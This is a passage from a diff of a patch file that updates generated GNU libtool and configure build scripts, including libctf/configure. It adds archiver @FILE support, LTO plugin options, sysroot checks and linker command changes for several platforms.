compiler_lib_search_dirs_CXX='`$ECHO "$compiler_lib_search_dirs_CXX" | $SED "$delay_single_quote_subst"`'
-@@ -18730,8 +19576,13 @@ reload_flag \
+@@ -17946,8 +18788,13 @@ reload_flag \
OBJDUMP \
deplibs_check_method \
file_magic_cmd \
@@ -9741,7 +9772,7 @@ index 1c872c0db5f..fe938e6c99f 100755
STRIP \
RANLIB \
CC \
-@@ -18741,12 +19592,14 @@ lt_cv_sys_global_symbol_pipe \
+@@ -17957,12 +18804,14 @@ lt_cv_sys_global_symbol_pipe \
lt_cv_sys_global_symbol_to_cdecl \
lt_cv_sys_global_symbol_to_c_name_address \
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
@@ -9757,7 +9788,7 @@ index 1c872c0db5f..fe938e6c99f 100755
DSYMUTIL \
NMEDIT \
LIPO \
-@@ -18762,7 +19615,6 @@ no_undefined_flag \
+@@ -17978,7 +18827,6 @@ no_undefined_flag \
hardcode_libdir_flag_spec \
hardcode_libdir_flag_spec_ld \
hardcode_libdir_separator \
@@ -9765,7 +9796,7 @@ index 1c872c0db5f..fe938e6c99f 100755
exclude_expsyms \
include_expsyms \
file_list_spec \
-@@ -18784,8 +19636,8 @@ LD_CXX \
+@@ -18000,8 +18848,8 @@ LD_CXX \
reload_flag_CXX \
compiler_CXX \
lt_prog_compiler_no_builtin_flag_CXX \
@@ -9775,7 +9806,7 @@ index 1c872c0db5f..fe938e6c99f 100755
lt_prog_compiler_static_CXX \
lt_cv_prog_compiler_c_o_CXX \
export_dynamic_flag_spec_CXX \
-@@ -18797,7 +19649,6 @@ no_undefined_flag_CXX \
+@@ -18013,7 +18861,6 @@ no_undefined_flag_CXX \
hardcode_libdir_flag_spec_CXX \
hardcode_libdir_flag_spec_ld_CXX \
hardcode_libdir_separator_CXX \
@@ -9783,7 +9814,7 @@ index 1c872c0db5f..fe938e6c99f 100755
exclude_expsyms_CXX \
include_expsyms_CXX \
file_list_spec_CXX \
-@@ -18831,6 +19682,7 @@ module_cmds \
+@@ -18047,6 +18894,7 @@ module_cmds \
module_expsym_cmds \
export_symbols_cmds \
prelink_cmds \
@@ -9791,7 +9822,7 @@ index 1c872c0db5f..fe938e6c99f 100755
postinstall_cmds \
postuninstall_cmds \
finish_cmds \
-@@ -18845,7 +19697,8 @@ archive_expsym_cmds_CXX \
+@@ -18061,7 +18909,8 @@ archive_expsym_cmds_CXX \
module_cmds_CXX \
module_expsym_cmds_CXX \
export_symbols_cmds_CXX \
@@ -9801,7 +9832,7 @@ index 1c872c0db5f..fe938e6c99f 100755
case \`eval \\\\\$ECHO \\\\""\\\\\$\$var"\\\\"\` in
*[\\\\\\\`\\"\\\$]*)
eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"\\\$\$var\\" | \\\$SED -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\""
-@@ -19610,7 +20463,8 @@ $as_echo X"$file" |
+@@ -18826,7 +19675,8 @@ $as_echo X"$file" |
# NOTE: Changes made to this file will be lost: look at ltmain.sh.
#
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
@@ -9811,7 +9842,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Written by Gordon Matzigkeit, 1996
#
# This file is part of GNU Libtool.
-@@ -19713,19 +20567,42 @@ SP2NL=$lt_lt_SP2NL
+@@ -18929,19 +19779,42 @@ SP2NL=$lt_lt_SP2NL
# turn newlines into spaces.
NL2SP=$lt_lt_NL2SP
@@ -9855,7 +9886,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# A symbol stripping program.
STRIP=$lt_STRIP
-@@ -19755,6 +20632,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+@@ -18971,6 +19844,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
# Transform the output of nm in a C name address pair when lib prefix is needed.
global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
@@ -9868,7 +9899,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# The name of the directory that contains temporary libtool files.
objdir=$objdir
-@@ -19764,6 +20647,9 @@ MAGIC_CMD=$MAGIC_CMD
+@@ -18980,6 +19859,9 @@ MAGIC_CMD=$MAGIC_CMD
# Must we lock files when doing compilation?
need_locks=$lt_need_locks
@@ -9878,7 +9909,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Tool to manipulate archived DWARF debug symbol files on Mac OS X.
DSYMUTIL=$lt_DSYMUTIL
-@@ -19878,12 +20764,12 @@ with_gcc=$GCC
+@@ -19094,12 +19976,12 @@ with_gcc=$GCC
# Compiler flag to turn off builtin functions.
no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
@@ -9894,7 +9925,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Compiler flag to prevent dynamic linking.
link_static_flag=$lt_lt_prog_compiler_static
-@@ -19970,9 +20856,6 @@ inherit_rpath=$inherit_rpath
+@@ -19186,9 +20068,6 @@ inherit_rpath=$inherit_rpath
# Whether libtool must link a program against all its dependency libraries.
link_all_deplibs=$link_all_deplibs
@@ -9904,7 +9935,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Set to "yes" if exported symbols are required.
always_export_symbols=$always_export_symbols
-@@ -19988,6 +20871,9 @@ include_expsyms=$lt_include_expsyms
+@@ -19204,6 +20083,9 @@ include_expsyms=$lt_include_expsyms
# Commands necessary for linking programs (against libraries) with templates.
prelink_cmds=$lt_prelink_cmds
@@ -9914,7 +9945,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Specify filename containing input files.
file_list_spec=$lt_file_list_spec
-@@ -20034,210 +20920,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+@@ -19250,210 +20132,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
# if finds mixed CR/LF and LF-only lines. Since sed operates in
# text mode, it properly converts lines to CR/LF. This bash problem
# is reportedly fixed, but why not run on old versions too?
@@ -10288,7 +10319,7 @@ index 1c872c0db5f..fe938e6c99f 100755
(rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
chmod +x "$ofile"
-@@ -20265,12 +21110,12 @@ with_gcc=$GCC_CXX
+@@ -19481,12 +20322,12 @@ with_gcc=$GCC_CXX
# Compiler flag to turn off builtin functions.
no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag_CXX
@@ -10304,7 +10335,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Compiler flag to prevent dynamic linking.
link_static_flag=$lt_lt_prog_compiler_static_CXX
-@@ -20357,9 +21202,6 @@ inherit_rpath=$inherit_rpath_CXX
+@@ -19573,9 +20414,6 @@ inherit_rpath=$inherit_rpath_CXX
# Whether libtool must link a program against all its dependency libraries.
link_all_deplibs=$link_all_deplibs_CXX
@@ -10314,7 +10345,7 @@ index 1c872c0db5f..fe938e6c99f 100755
# Set to "yes" if exported symbols are required.
always_export_symbols=$always_export_symbols_CXX
-@@ -20375,6 +21217,9 @@ include_expsyms=$lt_include_expsyms_CXX
+@@ -19591,6 +20429,9 @@ include_expsyms=$lt_include_expsyms_CXX
# Commands necessary for linking programs (against libraries) with templates.
prelink_cmds=$lt_prelink_cmds_CXX
@@ -10325,10 +10356,10 @@ index 1c872c0db5f..fe938e6c99f 100755
file_list_spec=$lt_file_list_spec_CXX
diff --git a/libctf/configure b/libctf/configure
-index 1dc1b65fac3..c5c2f36bbc0 100755
+index 82bcf13a606..a7fb723a145 100755
--- a/libctf/configure
+++ b/libctf/configure
-@@ -663,6 +663,8 @@ OTOOL
+@@ -666,6 +666,8 @@ OTOOL
LIPO
NMEDIT
DSYMUTIL
@@ -10337,7 +10368,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
OBJDUMP
LN_S
NM
-@@ -790,6 +792,7 @@ enable_static
+@@ -797,6 +799,7 @@ enable_static
with_pic
enable_fast_install
with_gnu_ld
@@ -10345,7 +10376,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
enable_libtool_lock
enable_largefile
enable_werror_always
-@@ -1448,6 +1451,8 @@ Optional Packages:
+@@ -1460,6 +1463,8 @@ Optional Packages:
--with-pic try to use only PIC/non-PIC objects [default=use
both]
--with-gnu-ld assume the C compiler uses GNU ld [default=no]
@@ -10354,7 +10385,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
--with-system-zlib use installed libz
Some influential environment variables:
-@@ -5406,8 +5411,8 @@ esac
+@@ -5529,8 +5534,8 @@ esac
@@ -10365,7 +10396,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
-@@ -5518,7 +5523,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+@@ -5570,7 +5575,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
$as_echo_n "checking how to print strings... " >&6; }
# Test print first, because it will be a builtin if present.
@@ -10374,7 +10405,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
ECHO='print -r --'
elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6204,8 +6209,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+@@ -6256,8 +6261,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
# Try some XSI features
xsi_shell=no
( _lt_dummy="a/b/c"
@@ -10385,7 +10416,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
&& eval 'test $(( 1 + 1 )) -eq 2 \
&& test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
&& xsi_shell=yes
-@@ -6254,6 +6259,80 @@ esac
+@@ -6306,6 +6311,80 @@ esac
@@ -10466,7 +10497,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
$as_echo_n "checking for $LD option to reload object files... " >&6; }
if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6270,6 +6349,11 @@ case $reload_flag in
+@@ -6322,6 +6401,11 @@ case $reload_flag in
esac
reload_cmds='$LD$reload_flag -o $output$reload_objs'
case $host_os in
@@ -10478,7 +10509,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
darwin*)
if test "$GCC" = yes; then
reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6438,7 +6522,8 @@ mingw* | pw32*)
+@@ -6490,7 +6574,8 @@ mingw* | pw32*)
lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
lt_cv_file_magic_cmd='func_win32_libid'
else
@@ -10488,7 +10519,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
lt_cv_file_magic_cmd='$OBJDUMP -f'
fi
;;
-@@ -6592,6 +6677,21 @@ esac
+@@ -6644,6 +6729,21 @@ esac
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
$as_echo "$lt_cv_deplibs_check_method" >&6; }
@@ -10510,7 +10541,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
file_magic_cmd=$lt_cv_file_magic_cmd
deplibs_check_method=$lt_cv_deplibs_check_method
test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6607,9 +6707,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -6659,6 +6759,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
@@ -10665,6 +10696,12 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
+
+
+
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -6673,8 +6924,10 @@ for plugin in $plugin_names; do
+ done
+
if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ar; ac_word=$2
@@ -10675,7 +10712,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_AR+:} false; then :
-@@ -6625,7 +6878,7 @@ do
+@@ -6690,7 +6943,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -10684,7 +10721,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6645,11 +6898,15 @@ $as_echo "no" >&6; }
+@@ -6710,11 +6963,15 @@ $as_echo "no" >&6; }
fi
@@ -10703,7 +10740,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6665,7 +6922,7 @@ do
+@@ -6730,7 +6987,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -10712,7 +10749,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6684,6 +6941,10 @@ else
+@@ -6749,6 +7006,10 @@ else
$as_echo "no" >&6; }
fi
@@ -10723,7 +10760,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
if test "x$ac_ct_AR" = x; then
AR="false"
else
-@@ -6695,16 +6956,72 @@ ac_tool_warned=yes ;;
+@@ -6760,25 +7021,19 @@ ac_tool_warned=yes ;;
esac
AR=$ac_ct_AR
fi
@@ -10732,20 +10769,36 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
fi
-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
+: ${AR=ar}
+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
+
+
+
+@@ -6790,6 +7045,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
+
+
+
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
+$as_echo_n "checking for archiver @FILE support... " >&6; }
+if ${lt_cv_ar_at_file+:} false; then :
@@ -10758,7 +10811,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
+int
+main ()
+{
-
++
+ ;
+ return 0;
+}
@@ -10784,23 +10837,30 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
+ fi
+ fi
+ rm -f conftest.* libconftest.a
-
++
+fi
+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
++
+fi
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
+$as_echo "$lt_cv_ar_at_file" >&6; }
-
++
+if test "x$lt_cv_ar_at_file" = xno; then
+ archiver_list_spec=
+else
+ archiver_list_spec=$lt_cv_ar_at_file
+fi
-
-
-
-@@ -7046,8 +7363,8 @@ esac
++
++
++
++
++
++
++
+ if test -n "$ac_tool_prefix"; then
+ # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
+ set dummy ${ac_tool_prefix}strip; ac_word=$2
+@@ -7129,8 +7442,8 @@ esac
lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
# Transform an extracted symbol line into symbol name and symbol address
@@ -10811,7 +10871,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# Handle CRLF in mingw tool chain
opt_cr=
-@@ -7083,6 +7400,7 @@ for ac_symprfx in "" "_"; do
+@@ -7166,6 +7479,7 @@ for ac_symprfx in "" "_"; do
else
lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
fi
@@ -10819,7 +10879,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
# Check to see that the pipe works correctly.
pipe_works=no
-@@ -7124,6 +7442,18 @@ _LT_EOF
+@@ -7207,6 +7521,18 @@ _LT_EOF
if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
cat <<_LT_EOF > conftest.$ac_ext
@@ -10838,7 +10898,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
#ifdef __cplusplus
extern "C" {
#endif
-@@ -7135,7 +7465,7 @@ _LT_EOF
+@@ -7218,7 +7544,7 @@ _LT_EOF
cat <<_LT_EOF >> conftest.$ac_ext
/* The mapping between symbol names and symbols. */
@@ -10847,7 +10907,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
const char *name;
void *address;
}
-@@ -7161,8 +7491,8 @@ static const void *lt_preloaded_setup() {
+@@ -7244,8 +7570,8 @@ static const void *lt_preloaded_setup() {
_LT_EOF
# Now try linking the two files.
mv conftest.$ac_objext conftstm.$ac_objext
@@ -10858,7 +10918,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
LIBS="conftstm.$ac_objext"
CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7172,8 +7502,8 @@ _LT_EOF
+@@ -7255,8 +7581,8 @@ _LT_EOF
test $ac_status = 0; } && test -s conftest${ac_exeext}; then
pipe_works=yes
fi
@@ -10869,7 +10929,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
else
echo "cannot find nm_test_func in $nlist" >&5
fi
-@@ -7210,6 +7540,16 @@ else
+@@ -7293,6 +7619,14 @@ else
$as_echo "ok" >&6; }
fi
@@ -10881,12 +10941,10 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
+fi
+
+
-+
-+
-@@ -7226,6 +7566,45 @@ fi
+@@ -7311,6 +7645,47 @@ fi
@@ -10929,10 +10987,12 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
+
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
+$as_echo "${lt_sysroot:-no}" >&6; }
++
++
-@@ -7437,6 +7816,123 @@ esac
+@@ -7520,6 +7895,123 @@ esac
need_locks="$enable_libtool_lock"
@@ -11056,7 +11116,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
case $host_os in
rhapsody* | darwin*)
-@@ -8000,6 +8496,8 @@ _LT_EOF
+@@ -8083,6 +8575,8 @@ _LT_EOF
$LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
echo "$AR cru libconftest.a conftest.o" >&5
$AR cru libconftest.a conftest.o 2>&5
@@ -11065,26 +11125,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
cat > conftest.c << _LT_EOF
int main() { return 0;}
_LT_EOF
-@@ -8165,7 +8663,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8254,7 +8753,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8552,8 +9051,6 @@ fi
+@@ -8635,8 +9130,6 @@ fi
lt_prog_compiler_pic=
lt_prog_compiler_static=
@@ -11093,7 +11134,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
if test "$GCC" = yes; then
lt_prog_compiler_wl='-Wl,'
-@@ -8719,6 +9216,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8802,6 +9295,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='--shared'
lt_prog_compiler_static='--static'
;;
@@ -11106,7 +11147,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
# Portland Group compilers (*not* the Pentium gcc compiler,
# which looks to be a dead project)
-@@ -8781,7 +9284,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -8864,7 +9363,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='-KPIC'
lt_prog_compiler_static='-Bstatic'
case $cc_basename in
@@ -11115,7 +11156,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
lt_prog_compiler_wl='-Qoption ld ';;
*)
lt_prog_compiler_wl='-Wl,';;
-@@ -8838,13 +9341,17 @@ case $host_os in
+@@ -8921,13 +9420,17 @@ case $host_os in
lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
;;
esac
@@ -11139,7 +11180,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
#
# Check to make sure the PIC flag actually works.
-@@ -8905,6 +9412,11 @@ fi
+@@ -8988,6 +9491,11 @@ fi
@@ -11151,7 +11192,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
#
# Check to make sure the static flag actually works.
#
-@@ -9255,7 +9767,8 @@ _LT_EOF
+@@ -9338,7 +9846,8 @@ _LT_EOF
allow_undefined_flag=unsupported
always_export_symbols=no
enable_shared_with_static_runtimes=yes
@@ -11161,7 +11202,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9354,12 +9867,12 @@ _LT_EOF
+@@ -9437,12 +9946,12 @@ _LT_EOF
whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
hardcode_libdir_flag_spec=
hardcode_libdir_flag_spec_ld='-rpath $libdir'
@@ -11176,7 +11217,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
fi
;;
esac
-@@ -9373,8 +9886,8 @@ _LT_EOF
+@@ -9456,8 +9965,8 @@ _LT_EOF
archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
wlarc=
else
@@ -11187,7 +11228,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
fi
;;
-@@ -9392,8 +9905,8 @@ _LT_EOF
+@@ -9475,8 +9984,8 @@ _LT_EOF
_LT_EOF
elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -11198,7 +11239,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
else
ld_shlibs=no
fi
-@@ -9439,8 +9952,8 @@ _LT_EOF
+@@ -9522,8 +10031,8 @@ _LT_EOF
*)
if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -11209,7 +11250,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
else
ld_shlibs=no
fi
-@@ -9570,7 +10083,13 @@ _LT_EOF
+@@ -9653,7 +10162,13 @@ _LT_EOF
allow_undefined_flag='-berok'
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -11224,7 +11265,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
/* end confdefs.h. */
int
-@@ -9583,22 +10102,29 @@ main ()
+@@ -9666,22 +10181,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -11267,7 +11308,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9610,7 +10136,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9693,7 +10215,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
else
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -11282,7 +11323,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
/* end confdefs.h. */
int
-@@ -9623,22 +10155,29 @@ main ()
+@@ -9706,22 +10234,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -11325,7 +11366,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
# Warning - without using the other run time loading flags,
-@@ -9683,20 +10222,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9766,20 +10301,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# Microsoft Visual C++.
# hardcode_libdir_flag_spec is actually meaningless, as there is
# no search path for DLLs.
@@ -11403,7 +11444,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
;;
darwin* | rhapsody*)
-@@ -9757,7 +10339,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9840,7 +10418,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
# FreeBSD 3 and greater uses gcc -shared to do shared libraries.
freebsd* | dragonfly*)
@@ -11412,7 +11453,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
hardcode_libdir_flag_spec='-R$libdir'
hardcode_direct=yes
hardcode_shlibpath_var=no
-@@ -9765,7 +10347,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9848,7 +10426,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux9*)
if test "$GCC" = yes; then
@@ -11421,7 +11462,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
else
archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
fi
-@@ -9781,7 +10363,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9864,7 +10442,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux10*)
if test "$GCC" = yes && test "$with_gnu_ld" = no; then
@@ -11430,7 +11471,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
else
archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
fi
-@@ -9805,10 +10387,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9888,10 +10466,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
;;
ia64*)
@@ -11443,7 +11484,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
;;
esac
else
-@@ -9887,23 +10469,36 @@ fi
+@@ -9970,23 +10548,36 @@ fi
irix5* | irix6* | nonstopux*)
if test "$GCC" = yes; then
@@ -11488,7 +11529,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
else
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -9988,7 +10583,7 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -10071,7 +10662,7 @@ rm -f core conftest.err conftest.$ac_objext \
osf4* | osf5*) # as osf3* with the addition of -msym flag
if test "$GCC" = yes; then
allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
@@ -11497,7 +11538,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
else
allow_undefined_flag=' -expect_unresolved \*'
-@@ -10007,9 +10602,9 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -10090,9 +10681,9 @@ rm -f core conftest.err conftest.$ac_objext \
no_undefined_flag=' -z defs'
if test "$GCC" = yes; then
wlarc='${wl}'
@@ -11509,7 +11550,7 @@ index 1dc1b65fac3..c5c2f36bbc0 100755
else
case `$CC -V 2>&1` in
*"Compilers 5.0"*)
